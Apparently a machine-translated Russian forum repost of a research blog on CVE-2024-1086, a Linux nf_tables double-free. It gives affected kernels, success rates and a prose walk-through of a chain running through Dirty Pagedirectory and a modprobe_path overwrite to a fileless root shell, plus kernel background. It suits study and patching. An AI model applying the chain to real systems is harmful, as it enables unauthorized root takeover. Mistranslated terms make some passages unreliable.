Статья Перелистывание страниц: анализ новой уязвимости Linux в nf_tables и усиленных методах эксплуатации.

  • Автор темы Автор темы ADMIN
  • Дата начала Дата начала

ADMIN

Administrator
ADMIN
Регистрация
18 Окт 1989
Сообщения
1,408
Реакции
93
Баллы
48
☑ ДЕПОЗИТ
0$

Перелистывание страниц: анализ новой уязвимости Linux в nf_tables и усиленных методах эксплуатации.​

Рассказ об использовании KernelCTF Mitigation, экземпляров Debian и Ubuntu с двойным освобождением в nf_tables в ядре Linux с использованием новых методов, таких как Dirty Pagedirectory. И все это без необходимости единожды перекомпилировать эксплойт для разных целей ядра.

Этот пост является следующей частью моей серии практических постов об исследованиях уязвимостей без шаблонов, предназначенных для путешественников во времени в будущем, которые хотят провести исследование уязвимостей ядра Linux. В частности, я надеюсь, что новички будут учиться на моем рабочем процессе в виртуальной реальности, а опытные исследователи — на моих методах.

В этом блоге я обсуждаю ошибку, которую нашел в nf_tables ядра Linux ( CVE-2024-1086 ), и анализ ее первопричин. Затем я покажу несколько новых методов, которые я использовал для удаления универсальной корневой оболочки почти на всех ядрах Linux начиная с версии 5.14 до версии 6.6.14 (требуются права пользователя unpriv), даже не перекомпилируя эксплойт. Это возможно из-за использования только данных и среды KSMA эксплойта. Среди этих целевых ядер — ядра Ubuntu, последние ядра Debian и одно из наиболее защищенных ядер Linux (ядра для смягчения последствий KernelCTF).

Кроме того, я предоставляю исходный код для проверки концепции (также доступен в PoC-репозитории CVE-2024-1086 на Github). В качестве бонуса я хотел бросить вызов самому себе, сделав эксплойт поддержкой безфайлового выполнения (что помогает в CNO и позволяет избежать обнаружения при пентестах) и не внося никаких изменений на диск (включая установку /bin/sh на SUID 0 и так далее). ).

Этот пост также призван стать дополнительным руководством к оригинальному блогу Dirty Pagetable , учитывая, что когда я начал писать этот блог, не было ни одного блога, освещающего практические моменты (например, очистку TLB для эксплойтов). Кроме того, я надеюсь, что методы, связанные со skb, будут встроены в удаленные сетевые эксплойты (например, ошибки в IPv4, если они все еще существуют), и я надеюсь, что метод Dirty Pagedirectory будет использоваться для эксплойтов LPE. Давайте перейдем к хорошему!

-cover_better-4.svg
Обложка поста в блоге: вид эксплойта с высоты птичьего полета, включая уязвимость и некоторые методы для визуальных целей.

0. Прежде чем читать​

0,1. Как читать этот пост в блоге​

Начинающим исследователям уязвимостей: я написал этот пост в стиле, который немного напоминает исследовательскую работу с точки зрения формата, потому что формат оказался именно тем, что я искал: его легко сканировать и выбирать из него знания, даже если они может быть большой пилюлей, которую нужно проглотить. Поскольку многие люди считают исследовательские работы трудными для чтения, я хотел бы дать пошаговые инструкции по чтению этого поста в блоге для эффективного извлечения знаний:

  1. Прочтите обзорный раздел (проверьте, интересен ли вам контент)
  2. Разделить экран этого поста в блоге (читаю и смотрю вверх)
  3. Перейдите к разделу об ошибках (попытайтесь понять, как работает ошибка)
  4. Перейдите к разделу проверки концепции (пройдитесь по эксплойту).
Если что-то неясно, воспользуйтесь разделом «Предыстория и/или методы». Если вы хотите узнать больше о конкретной теме, я приложил внешние статьи для большинства разделов.

0,2. Затронутые версии ядра​

В этом разделе содержится информация о версиях ядра, затронутых этим эксплойтом, что полезно при поиске существующих методов использования ошибки. Основываясь на этих наблюдениях, кажется возможным, что все версии от v5.14.21 (включительно) до (включительно) v6.6.14 могут быть использованы для эксплойта, в зависимости от значений kconfig (подробности ниже). Это означает, что на момент написания этой статьи уязвимы стабильные ветки linux-5.15.y, linux-6.1.yи , а возможно, и тоже. К счастью для пользователей, в феврале 2024 года в стабильных ветках было выпущено исправление.linux-6.6.ylinux-6.7.1

Обратите внимание, что один и тот же базовый файл конфигурации повторно использовался для большинства ванильных ядер, и что все упомянутые версии уязвимы для ошибки PoC. Базовая конфигурация была создана с помощью kernel-hardening-checker. Кроме того, если версия не затронута ошибкой, но методы эксплуатации работают, она не будет отображаться в таблице.
Для ванильных ядер CONFIG_INIT_ON_FREE_DEFAULT_ONв конфигурации было отключено, что после освобождения страницы устанавливает нулевые байты, что препятствует использованию skb-части эксплойта. Это значение конфигурации отключено в основных дистрибутивах, таких как KernelCTF, Ubuntu и Debian, поэтому я считаю это приемлемой мерой. Однако CONFIG_INIT_ON_ALLOC_DEFAULT_ONон остается включенным, поскольку это часть конфигурации ядра Ubuntu и Debian. К сожалению, это вызывает bad_page()обнаружение как побочный эффект в версиях, начиная с v6.4.0. Когда CONFIG_INIT_ON_ALLOC_DEFAULT_ONотключен, эксплойт работает до (включительно) версии 6.6.4.

Вероятность успеха эксплойта составляет 99,4% (n=1000) — иногда с падением до 93,0% (n=1000) — на ядре Linux v6.4.16 с настройкой, как показано ниже (и файловой системой kernelctf). Я не ожидаю, что показатель успеха будет сильно отличаться в зависимости от версии, хотя он может отличаться в зависимости от рабочей нагрузки устройства. Я считаю, что эксплойт работает для конкретной установки, если все попытки его опробовать увенчались успехом (проверка вручную, поэтому обычно 1-2 попытки). Из-за высокой вероятности успеха довольно легко отфильтровать, работает эксплойт или нет. Кроме того, все сбои расследованы и, следовательно, их причины включены в таблицу, поэтому ложные срабатывания маловероятны.

Все не устаревшие методики (и полученный PoC) тестируются на сетапах:

| Kernel | Kernel Version | Distro | Distro Version | Working/Fail | CPU Platform | CPU Cores | RAM Size | Fail Reason | Test Status | Config URL |
|--------|----------------|-----------|-------------------|--------------|-------------------|-----------|----------|---------------------------------------------------------------------------------------|-------------|------------------------------------------------------------------------------------------------------------------------------------------|
| Linux | v5.4.270 | n/a | n/a | fail | QEMU x86_64 | 8 | 16GiB |
Код:
 pre-dated nft code (denies rule alloc)                                         | final       | https://raw.githubusercontent.com/Notselwyn/blogpost-files/main/nftables/test-kernel-configs/linux-vanilla-v5.4.270.config               |
| Linux  | v5.10.209      | n/a       | n/a               | fail         | QEMU x86_64       | 8         | 16GiB    | [TCHNQ] BUG mm/slub.c:4118                                                            | final       | https://raw.githubusercontent.com/Notselwyn/blogpost-files/main/nftables/test-kernel-configs/linux-vanilla-v5.10.209.config              |
| Linux  | v5.14.21       | n/a       | n/a               | working      | QEMU x86_64       | 8         | 16GiB    | n/a                                                                                   | final       | https://raw.githubusercontent.com/Notselwyn/blogpost-files/main/nftables/test-kernel-configs/linux-vanilla-v5.14.21.config               |
| Linux  | v5.15.148      | n/a       | n/a               | working      | QEMU x86_64       | 8         | 16GiB    | n/a                                                                                   | final       | https://raw.githubusercontent.com/Notselwyn/blogpost-files/main/nftables/test-kernel-configs/linux-vanilla-v5.15.148.config              |
| Linux  | v5.16.20       | n/a       | n/a               | working      | QEMU x86_64       | 8         | 16GiB    | n/a                                                                                   | final       | https://raw.githubusercontent.com/Notselwyn/blogpost-files/main/nftables/test-kernel-configs/linux-vanilla-v5.16.20.config               |
| Linux  | v5.17.15       | n/a       | n/a               | working      | QEMU x86_64       | 8         | 16GiB    | n/a                                                                                   | final       | https://raw.githubusercontent.com/Notselwyn/blogpost-files/main/nftables/test-kernel-configs/linux-vanilla-v5.17.15.config               |
| Linux  | v5.18.19       | n/a       | n/a               | working      | QEMU x86_64       | 8         | 16GiB    | n/a                                                                                   | final       | https://raw.githubusercontent.com/Notselwyn/blogpost-files/main/nftables/test-kernel-configs/linux-vanilla-v5.18.19.config               |
| Linux  | v5.19.17       | n/a       | n/a               | working      | QEMU x86_64       | 8         | 16GiB    | n/a                                                                                   | final       | https://raw.githubusercontent.com/Notselwyn/blogpost-files/main/nftables/test-kernel-configs/linux-vanilla-v5.19.17.config               |
| Linux  | v6.0.19        | n/a       | n/a               | working      | QEMU x86_64       | 8         | 16GiB    | n/a                                                                                   | final       | https://raw.githubusercontent.com/Notselwyn/blogpost-files/main/nftables/test-kernel-configs/linux-vanilla-v6.0.19.config                |
| Linux  | v6.1.55        | KernelCTF | Mitigation v3     | working      | QEMU x86_64       | 8         | 16GiB    | n/a                                                                                   | final       | https://raw.githubusercontent.com/Notselwyn/blogpost-files/main/nftables/test-kernel-configs/linux-kernelctf-mitigationv3-v6.1.55.config |
| Linux  | v6.1.69        | Debian    | Bookworm 6.1.0-17 | working      | QEMU x86_64       | 8         | 16GiB    | n/a                                                                                   | final       | https://raw.githubusercontent.com/Notselwyn/blogpost-files/main/nftables/test-kernel-configs/linux-debian-v6.1.0-17-amd64.config         |
| Linux  | v6.1.69        | Debian    | Bookworm 6.1.0-17 | working      | AMD Ryzen 5 7640U | 6         | 32GiB    | n/a                                                                                   | final       | https://raw.githubusercontent.com/Notselwyn/blogpost-files/main/nftables/test-kernel-configs/linux-debian-v6.1.0-17-amd64.config         |
| Linux  | v6.1.72        | KernelCTF | LTS               | working      | QEMU x86_64       | 8         | 16GiB    | n/a                                                                                   | final       | https://raw.githubusercontent.com/Notselwyn/blogpost-files/main/nftables/test-kernel-configs/linux-kernelctf-lts-v6.1.72.config          |
| Linux  | v6.2.?         | Ubuntu    | Jammy v6.2.0-37   | working      | AMD Ryzen 5 7640U | 6         | 32GiB    | n/a                                                                                   | final       |                                                                                                                                          |
| Linux  | v6.2.16        | n/a       | n/a               | working      | QEMU x86_64       | 8         | 16GiB    | n/a                                                                                   | final       | https://raw.githubusercontent.com/Notselwyn/blogpost-files/main/nftables/test-kernel-configs/linux-vanilla-v6.2.16.config                |
| Linux  | v6.3.13        | n/a       | n/a               | working      | QEMU x86_64       | 8         | 16GiB    | n/a                                                                                   | final       | https://raw.githubusercontent.com/Notselwyn/blogpost-files/main/nftables/test-kernel-configs/linux-vanilla-v6.3.13.config                |
| Linux  | v6.4.16        | n/a       | n/a               | fail         | QEMU x86_64       | 8         | 16GiB    | [TCHNQ] bad page: page->_mapcount != -1 (-513), bcs CONFIG_INIT_ON_ALLOC_DEFAULT_ON=y | final       | https://raw.githubusercontent.com/Notselwyn/blogpost-files/main/nftables/test-kernel-configs/linux-vanilla-v6.4.16.config                |
| Linux  | v6.5.3         | Ubuntu    | Jammy v6.5.0-15   | fail         | QEMU x86_64       | 8         | 16GiB    | [TCHNQ] bad page: page->_mapcount != -1 (-513), bcs CONFIG_INIT_ON_ALLOC_DEFAULT_ON=y | final       | https://raw.githubusercontent.com/Notselwyn/blogpost-files/main/nftables/test-kernel-configs/linux-ubuntu-jammy-v6.5.0-15.config         |
| Linux  | v6.5.13        | n/a       | n/a               | fail         | QEMU x86_64       | 8         | 16GiB    | [TCHNQ] bad page: page->_mapcount != -1 (-513), bcs CONFIG_INIT_ON_ALLOC_DEFAULT_ON=y | final       | https://raw.githubusercontent.com/Notselwyn/blogpost-files/main/nftables/test-kernel-configs/linux-vanilla-v6.5.13.config                |
| Linux  | v6.6.14        | n/a       | n/a               | fail         | QEMU x86_64       | 8         | 16GiB    | [TCHNQ] bad page: page->_mapcount != -1 (-513), bcs CONFIG_INIT_ON_ALLOC_DEFAULT_ON=y | final       | https://raw.githubusercontent.com/Notselwyn/blogpost-files/main/nftables/test-kernel-configs/linux-vanilla-v6.6.14.config                |
| Linux  | v6.7.1         | n/a       | n/a               | fail         | QEMU x86_64       | 8         | 16GiB    | [CODE] nft verdict value incorrect is altered by kernel                               | final       | https://raw.githubusercontent.com/Notselwyn/blogpost-files/main/nftables/test-kernel-configs/linux-vanilla-v6.7.1.config                 |
Копировать
Таблица 0.2.1: Обзор результатов тестирования эксплойтов для протестированных версий ядра и их настроек.

[HEADING=2]1. Обзор[/HEADING]
[HEADING=3]1.1. Абстрактный[/HEADING]
В этом блоге я представляю несколько новых методов, которые я использовал для эксплуатации ошибки 0-day double-free в усиленных ядрах Linux (т. е. в экземплярах KernelCTF mitigation) с вероятностью успеха 93–99%. Основная ошибка — сбой очистки ввода вердиктов netfilter. Следовательно, требования к эксплойту заключаются в том, чтобы nf_tables был включен, а пространства имен непривилегированных пользователей были включены. Эксплойт предназначен только для данных и выполняет атаку зеркального отображения пространства ядра (KSMA) из области пользователя с помощью новой техники Dirty Pagedirectory (путаница в таблице страниц), при которой он может связать любой физический адрес (и его разрешения) с адресами виртуальной памяти, выполнив [I]просто[/I] читает/пишет по адресам пользователя.

[HEADING=3]1.2. Рабочий процесс[/HEADING]
Чтобы вызвать ошибку, приводящую к двойному освобождению, я добавляю правило Netfilter в пространство имен непривилегированных пользователей. Правило Netfilter содержит выражение, которое устанавливает значение вредоносного вердикта, которое NF_DROPсначала заставит внутренний код ядра nf_tables интерпретироваться, после чего он освободит skb, а затем вернется NF_ACCEPT, чтобы обработка пакетов продолжилась, и это дважды освободит skb. . Затем я запускаю это правило, выделяя 16-страничный IP-пакет (так, чтобы он распределялся партнерским распределителем, а не PCP-распределителем или распределителем блоков, и он разделял кеш между процессорами), который имеет тип миграции 0.

Чтобы задержать второй бесплатный (чтобы избежать повреждения при выполнении каких-либо действий), я злоупотребляю логикой IP-фрагментации IP-пакета. Это позволяет нам заставить skb «ожидать» в очереди фрагментации IP без освобождения в течение произвольного количества секунд. Чтобы пройти этот путь кода с поврежденными метаданными пакета, я подделываю IP-адрес источника 1.1.1.1 и адрес назначения 255.255.255.255. Однако это означает, что мы имеем дело с пересылкой по обратному пути (RPF), поэтому нам необходимо отключить ее в нашем сетевом пространстве имен (не требует привилегий root).

Чтобы добиться неограниченного количества операций чтения/записи на любой адрес физической памяти (включая адреса ядра), я представляю метод Dirty Pagedirectory. Этот метод, мягко говоря, представляет собой путаницу в таблице страниц, поскольку страница PTE и страница PMD размещаются на одной и той же физической странице.

К сожалению, эти страницы таблицы страниц являются migratetype==0 order==0страницами, выделенными с помощью alloc_pages(), а заголовки skb (объекты с двойным освобождением) выделяются с помощью kmalloc, что означает, что распределитель slab используется для страницы order<=1, PCP-распределитель используется для order<=3, а партнер -распределитель используется для . распределитель для order>=4. Чтобы избежать хлопот (подробно объясненных в блогпосте), нам приходится использовать order>=4страницы для двойного бесплатного использования. Это также означает, что мы не можем напрямую использовать двойное освобождение на страницах-двойниках ( order>=4) для двойного выделения страниц PTE/PMD ( order==0), но я нашел способы добиться этого.

Для двойного выделения страниц PTE/PMD с помощью функции double-free на основе kmalloc я представляю 2 метода:

[B]Лучшая техника преобразования страниц (освобождение PCP).[/B]
В этом более простом, более стабильном и быстром методе мы используем тот факт, что PCP-распределитель представляет собой просто свободный список для каждого процессора, который пополняется страницами из дружественного распределителя, когда он осушается. Следовательно, мы можем просто освободить order==4(16) страниц из списка свободных партнеров-распределителей, очистить список PCP и пополнить order==0список PCP 64 страницами из свободного списка партнеров-распределителей, содержащего указанные 16 страниц.

[B]Исходная техника преобразования страниц (состояние гонки).[/B]
Этот метод основан на состоянии гонки и, следовательно, работает только в виртуализированных средах, таких как виртуальные машины QEMU, где терминальный ввод-вывод вызывает существенную задержку в ядре виртуальной машины. Мы используем сообщение WARN(), которое вызывает задержку ~ 50-300 мс для запуска состояния гонки, чтобы освободить order==4страницу друга в order==0свободный список PCP. Как вы можете заметить, это не работает на реальном оборудовании (поскольку задержка составляет ~ 1 мс), и поэтому заменяется описанным выше методом. К сожалению, я использовал эту технику для оригинального эксплойта kernelctf.

Между двойным освобождением я гарантирую, что счетчик ссылок страницы никогда не достигнет 0, поскольку это будет отрицать освобождение страницы (возможно, в качестве меры по смягчению последствий двойного освобождения). Кроме того, я распыляю объекты skb в skbuff_head_cacheslabcache того же процессора, чтобы избежать экспериментального обнаружения повреждений в свободном списке в экземпляре защиты kernelctf и повысить стабильность в целом.

Когда примитив двойного освобождения будет достигнут, я буду использовать новую технику под названием Dirty Pagedirectory, чтобы добиться неограниченного чтения/записи на любой физический адрес. Для этого требуется двойное размещение страницы записи таблицы страниц (PTE) и страницы среднего каталога страниц (PMD) по одному и тому же адресу. При записи произвольного значения PTE, содержащего разрешения страницы и физический адрес страницы, на страницу в пределах диапазона страницы PTE, страница PMD будет интерпретировать указанный адрес при попытке разыменования страницы значения PTE в пределах диапазона страниц PMD. Это сводится к установке значения PTE 0xDEADBEEFполностью из пользовательской области, а затем снова разыменовывает это значение PTE из пользовательской области, чтобы получить доступ к странице, на которую имеется ссылка, с использованием 0xDEADBEEFфлагов (включая, помимо прочего, разрешения), установленных в 0xDEADBEEF.

Чтобы использовать этот неограниченный примитив чтения/записи, нам нужно очистить TLB. Прочитав несколько непрактичных исследовательских статей, я придумал свой собственный сложный алгоритм очистки для очистки TLB в Linux из пользовательской среды: вызов fork() и munmap() для очистки очищенного VMA. Чтобы избежать сбоев при выходе дочернего потока из программы, я заставляю дочерний поток заснуть на неопределенный срок.

Я использую этот неограниченный доступ к физической памяти для перебора физического KASLR (который ускоряется, поскольку база физического ядра выровнена с CONFIG_PHYSICAL_START(он же 0x100'0000/ 16 МБ) или — если определено — CONFIG_PHYSICAL_ALIGN(он же 0x20'0000/ 2 МБ) и сливает базовый адрес физического ядра, проверяя 2 МБ базового адреса. страниц на машине с памятью 8 ГБ (при условии выравнивания 16 МБ), что даже умещается в область одной перезаписанной страницы PTE. Чтобы обнаружить ядро, я использовал сценарии [URL='https://github.com/notselwyn/get-sig']get-sig[/URL] , которые генерируют высокоточные отпечатки файлов, такие как недавний Linux ядра в компиляторах и включил это в свой эксплойт.

Чтобы найти modprobe_path, я выполняю довольно упрощенное "/sbin/modprobe" + "\x00" * ...сканирование памяти на 80 МБ за пределами обнаруженной базы ядра, чтобы получить доступ к modprobe_path. Чтобы убедиться, что «настоящая» modprobe_pathпеременная была найдена вместо ложноположительного, я перезаписываю modprobe_pathи проверяю, отражает ли это изменение /proc/sys/kernel/modprobe(пользовательский интерфейс только для чтения для ). modprobe_pathЕсли CONFIG_STATIC_USERMODEHELPERэтот параметр включен, он будет просто проверять наличие файлов "/sbin/usermode-helper".

Чтобы удалить корневую оболочку (включая escape-пространство имен), я перезаписываю modprobe_pathдескриптор "/sbin/usermode-helper"файла memfd эксплойта, содержащий скрипт privesc, например /proc/<pid>/fd/<fd>. Этот безфайловый подход позволяет запускать эксплойт во всей файловой системе, доступной только для чтения (она загружается с использованием Perl). PID должен быть перебором, если эксплойт работает в пространстве имен - потому что эксплойт знает только PID пространства имен - но, к счастью, это невероятно быстро, поскольку нам не нужно очищать TLB, поскольку мы не меняем физический адрес ПТЭ. По сути, это будет запись строки на адрес пользовательского пространства и выполнение файла.

В скрипте privesc мы выполним /bin/shпроцесс (от имени пользователя root) и подключим файловые дескрипторы эксплойтов ( /dev/<pid>/fd/<fd>) к файловым дескрипторам оболочек, что позволит нам добиться выхода из пространства имен. Преимущество этого метода в том, что он очень универсален, поскольку работает на локальных терминалах и в обратных оболочках, независимо от файловых систем и других форм изоляции.

[HEADING=2]2. Справочная информация[/HEADING]
[HEADING=3]2.1. nf_tables[/HEADING]
Одним из входящих в дерево модулей ядра Linux является nf_tables. В последних версиях iptablesодного из самых популярных инструментов межсетевого экрана nf_tablesмодуль ядра является серверной частью. iptablesсам по себе является частью ufwбэкэнда. Чтобы решить, какие пакеты пройдут брандмауэр, nftables использует конечный автомат с правилами, устанавливаемыми пользователем.

[HEADING=3]2.1.1. Иерархия сетевых фильтров[/HEADING]
Эти правила располагаются в следующем порядке (т. е. одна таблица содержит много цепочек, одна цепочка содержит много правил, одно правило содержит много выражений):

[LIST]
[*]Таблицы (какой протокол)
[*]Цепи (которые вызывают)
[*]Правила (функции конечного автомата)
[*]Выражения (инструкции конечного автомата)
[/LIST]
[IMG]https://pwning.tech/content/images/2024/02/nf_tables-4.svg[/IMG]Иллюстрация 2.1.1.1: Обзор иерархии таблиц, цепочек, правил и выражений Nftables.
Это позволяет пользователям программировать сложные правила брандмауэра, поскольку в nftables имеется множество атомарных выражений, которые можно объединять в правила для фильтрации пакетов. Кроме того, он позволяет запускать цепочки в разное время в коде обработки пакетов (т. е. до маршрутизации и после маршрутизации), что можно выбрать при создании цепочки с помощью таких флагов, как NF_INET_LOCAL_INи NF_INET_POST_ROUTING. Из-за своей чрезвычайно настраиваемой природы nftables известен своей невероятной небезопасностью. Таким образом, многие уязвимости были зарегистрированы и уже исправлены.

Чтобы узнать больше о nftables, я рекомендую этот пост в блоге от @pqlqpql, в котором рассматриваются самые глубокие аспекты nftables: [URL='https://blog.dbouman.nl/2022/04/02/How-The-Tables-Have-Turned-CVE-2022-1015-1016/']«Как изменились таблицы: анализ двух новых уязвимостей Linux в nf_tables».[/URL]

[HEADING=3]2.1.2. Вердикты сетевого фильтра[/HEADING]
Более актуальными для поста являются вердикты Netfilter. Вердикт — это решение набора правил Netfilter о том, что определенный пакет пытается пройти через брандмауэр. Например, это может быть сброс или принятие. Если правило решит отбросить пакет, Netfilter прекратит его обработку. Напротив, если правило решит принять пакет, Netfilter продолжит обработку пакета до тех пор, пока пакет не пройдет все правила. На момент написания все вердикты таковы:

[LIST]
[*]NF_DROP: Отбросить пакет, прекратить его обработку.
[*]NF_ACCEPT: принять пакет, продолжить его обработку.
[*]NF_STOLEN: Остановить обработку, хук должен освободить его.
[*]NF_QUEUE: позволить приложению пользовательского пространства обработать его.
[*]NF_REPEAT: вызов перехвата еще раз.
[*]NF_STOP (устарело): принять пакет, прекратить его обработку в Netfilter.
[/LIST]
[HEADING=3]2.2. sk_buff (скб)[/HEADING]
Для описания сетевых данных (включая IP-пакеты, кадры Ethernet, кадры Wi-Fi и т. д.) ядро Linux использует структуру sk_buff и обычно называет их skb для сокращения. Для представления пакета ядро использует два объекта, которые важны для нас: sk_buffсам объект, который содержит метаданные ядра для обработки skb, и объект sk_buff->head, который содержит фактическое содержимое пакета, такое как заголовок IP и тело IP-пакета.

[IMG]https://pwning.tech/content/images/2024/02/sk_buff_struct-4.svg[/IMG]Иллюстрация 2.2.1: Обзор буфера данных структуры sk_buff и его поля длины.
Чтобы использовать значения из заголовка IP (поскольку IP-пакеты в конечном итоге анализируются в ядре), ядро выполняет каламбур со структурой заголовка IP и объектом, sk_buff->headиспользуя ip_hdr(). Этот шаблон применяется ко всему ядру, поскольку он позволяет быстро анализировать заголовки. На самом деле, трюк с каламбуром типов также используется для анализа заголовков ELF при выполнении двоичного файла.

Чтобы узнать больше, посетите эту замечательную страницу документации по ядру Linux: [URL='https://docs.kernel.org/networking/skbuff.html']«struct sk_buff — Ядро Linux».[/URL]

[HEADING=3]2.3. Фрагментация IP-пакетов[/HEADING]
Одной из особенностей IPv4 является фрагментация пакетов. Это позволяет передавать пакеты с использованием нескольких IP-фрагментов. Фрагменты — это обычные IP-пакеты, за исключением того, что они не содержат полного размера пакета, указанного в его IP-заголовке, и IP_MFв заголовке установлен флаг.

Общий расчет длины IP-пакета в заголовке IP-фрагмента iph->len = sizeof(struct ip_header) * frags_n + total_body_length: В ядре Linux все фрагменты одного IP-пакета сохраняются в одном красно-черном дереве (называемом очередью IP-фрагментов) до тех пор, пока не будут получены все фрагменты. Чтобы отфильтровать, какой фрагмент принадлежит какому смещению при повторной сборке, требуется смещение IP-фрагмента: iph->offset = body_offset >> 3, где body_offsetэто смещение в конечном теле IP и, таким образом, исключается любая длина IP-заголовка, которая может использоваться при вычислении iph->len. Как вы можете заметить, данные фрагмента должны быть выровнены по 8 байтам, поскольку в спецификациях указано, что верхние 3 бита поля смещения используются для флагов (т. е. IP_MFи IP_DF). Если мы хотим передать 64 байта данных в двух фрагментах, размер которых составляет соответственно 8 и 56 байт, нам следует отформатировать их, как показано в коде ниже. Затем ядро соберет IP-пакет как «A» * 64.

iph1->len = sizeof(struct ip_header)*2 + 64;
iph1->offset = ntohs(0 | IP_MF); // set MORE FRAGMENTS flag
memset(iph1_body, 'A', 8);
transmit(iph1, iph1_body, 8);

iph2->len = sizeof(struct ip_header)*2 + 64;
iph2->offset = ntohs(8 >> 3); // don't set IP_MF since this is the last packet
memset(iph2_body, 'A', 56);
transmit(iph2, iph2_body, 56);
Копировать
Кодовый блок 2.3.1: псевдокод C, описывающий формат IP-заголовка IP-фрагментов.

Чтобы узнать больше о фрагментации пакетов, прочтите публикацию в блоге PacketPushers: [URL='https://packetpushers.net/ip-fragmentation-in-detail/']«Подробно о фрагментации IP».[/URL]

[HEADING=3]2.4. Распределение страниц[/HEADING]
Существует три основных способа распределения страниц в ядре Linux: использование распределителя блоков, распределителя-партнера и распределителя страниц для каждого процессора (PCP). Вкратце: приятель-распределитель вызывается с помощью alloc_pages(), может использоваться для любого порядка страниц (0->10) и распределяет страницы из глобального пула страниц между процессорами. PCP-распределитель также вызывается с помощью alloc_pages()и может использоваться для выделения страниц в порядке 0->3 из пула страниц для каждого процессора. Кроме того, существует slab-allocator, который вызывается kmalloc()и может выделять страницы в порядке 0->1 (включая меньшие выделения) из специализированных свободных списков/кэшей для каждого процессора.

Распределитель PCP существует потому, что распределитель-партнер блокирует доступ, когда ЦП выделяет страницу из глобального пула, и, следовательно, блокирует другой ЦП, когда тот хочет выделить страницу. PCP-распределитель предотвращает это, имея меньший пул страниц для каждого процессора, которые массово распределяются партнерским распределителем в фоновом режиме. Таким образом, вероятность блокировки выделения страниц снижается.

[IMG]https://pwning.tech/content/images/2024/02/pageallocatorbailywick.svg[/IMG]Рисунок 2.4.1: Обзор доступных распределителей страниц для каждого заказа.[IMG]https://pwning.tech/content/images/2024/02/pageallocations-3.svg[/IMG]Иллюстрация 2.4.2: Диаграмма действий процесса выделения страниц, начиная с kmalloc().
Чтобы узнать больше о двойном распределителе и распределителе PCP, ознакомьтесь с разделом «Распределение страниц» этого обширного анализа: [URL='https://gitlab.com/gitlab-com/gl-infra/scalability/-/issues/2387#user-content-page-allocator']«Справочник: Анализ аномалий управления памятью ядра Linux».[/URL]

[HEADING=3]2.5. Физическая память[/HEADING]
[HEADING=3]2.5.1. Сопоставление физической и виртуальной памяти[/HEADING]
Одним из наиболее фундаментальных элементов ядра является управление памятью. Когда мы говорим о памяти, мы можем говорить о двух типах памяти: физической памяти и виртуальной памяти. Физическая память — это то, что используют микросхемы ОЗУ, а виртуальная память — это то, как программы (включая ядро), работающие на ЦП, взаимодействуют с физической памятью. Конечно, когда мы используем GDB для отладки двоичного файла, все адреса, которые мы используем, являются виртуальными, поскольку GDB и лежащая в его основе программа тоже являются такой программой.

По сути, виртуальная память создается поверх физической памяти. Преимущество этой модели заключается в том, что диапазон виртуальных адресов больше, чем диапазон физических адресов, поскольку пустые страницы виртуальной памяти могут быть несопоставлены, что, помимо прочего, хорошо для эффективности ASLR. Кроме того, мы можем сопоставить одну физическую страницу со многими виртуальными страницами или создать иллюзию, что существуют адреса размером 128 ТиБ, хотя на практике большинство из них не поддерживаются реальной страницей.

Это означает, что мы можем работать с диапазонами виртуальной памяти по 128 ТиБ на каждый процесс в системе, имеющей всего 4 ГБ физической памяти. Теоретически мы могли бы даже сопоставить одну физическую страницу размером 4096 \x41байт со всеми виртуальными страницами пользовательского пространства объемом 128 ТиБ. Когда программа хочет записать \x42байт на виртуальную страницу, мы выполняем копирование при записи (COW), создаем вторую физическую страницу и сопоставляем эту страницу только с виртуальной страницей, на которую записывала программа.

[IMG]https://pwning.tech/content/images/2024/02/phys_virt_mem-1.svg[/IMG]Иллюстрация 2.5.1.1: Сопоставления между страницами виртуальной и физической памяти.
Чтобы преобразовать адреса виртуальной памяти в адреса физической памяти, ЦП использует таблицы страниц. Поэтому, когда наша пользовательская программа пытается прочитать адрес (виртуальной памяти) 0xDEADBEEF, процессор, по сути, это делает mov rax, [0xDEADBEEF]. Однако, чтобы фактически прочитать значение из микросхем ОЗУ, ЦП необходимо преобразовать адрес виртуальной памяти 0xDEADBEEFв адрес физической памяти.

Этот перевод не обращает внимания на ядро и нашу пользовательскую программу, когда он пытается получить доступ к адресу виртуальной памяти. Чтобы выполнить эту трансляцию, ЦП выполняет поиск в буфере преобразования виртуальных адресов (TLB), который существует в MMU, и который кэширует преобразования виртуальных адресов в физические. Если к виртуальному 0xDEADBEEFадресу (или, точнее, к виртуальной 0xDEADB000странице) недавно осуществлялся доступ, TLB не нужно просматривать таблицы страниц (следующий раздел), и физический адрес будет принадлежать виртуальному адресу в кеше. В противном случае, если адрес отсутствует в кэше TLB, TLB необходимо пройти по таблицам страниц, чтобы получить физический адрес. Это будет рассмотрено в следующем подразделе.

Чтобы узнать больше о физической памяти, посетите эту замечательную [URL='https://read.seas.harvard.edu/cs161/2023/doc/memory-layout/']страницу схемы памяти из курса Гарвардского университета по операционным системам[/URL] .

[HEADING=3]2.5.2. Таблицы страниц[/HEADING]
Когда TLB запрашивает физический адрес для виртуального адреса, которого нет в его кэше, он выполняет «проход по страницам», чтобы получить физический адрес виртуального адреса. Прогулка по страницам означает обход таблиц страниц, которые представляют собой несколько вложенных массивов, с физическими адресами в нижних массивах.

[QUOTE]
Обратите внимание, что на диаграмме ниже используются 9-битные индексы таблицы страниц (поскольку 2**9 = 512значения таблицы страниц умещаются на одной странице). Кроме того, мы используем здесь 4-уровневые таблицы страниц, но ядро также поддерживает 5-уровневые, 3-уровневые и так далее.
[/QUOTE]
[IMG]https://pwning.tech/content/images/2024/03/pagetables_with_bits-1.webp[/IMG]Иллюстрация 2.5.2.1: Пример преобразования виртуального адреса в физический.
[QUOTE]
Эта модель вложенных массивов используется потому, что она экономит много памяти. Вместо того, чтобы выделять огромный массив для 128 ТиБ виртуальных адресов, он делит его на несколько меньших массивов, причем каждый уровень имеет меньшую сферу ответственности. Это означает, что таблицы, отвечающие за нераспределенную область, не будут выделены.
[/QUOTE]
Обход таблиц страниц — очень недорогой процесс, поскольку по сути это 4–5 разыменований массива. Индексы для этих разыменований — будьте готовы к ошеломлению — встроены в виртуальный адрес. Это означает, что виртуальный адрес — это не адрес, а индексы таблицы страниц с каноническим префиксом. Этот элегантный подход позволяет получить физический адрес O(1), поскольку разыменование массива составляет O(1), а сдвиг битов для восстановления индекса также равен O(1). К сожалению, таблицы страниц придется проходить очень часто, что замедлит даже разыменование массивов. Следовательно, TLB реализован.

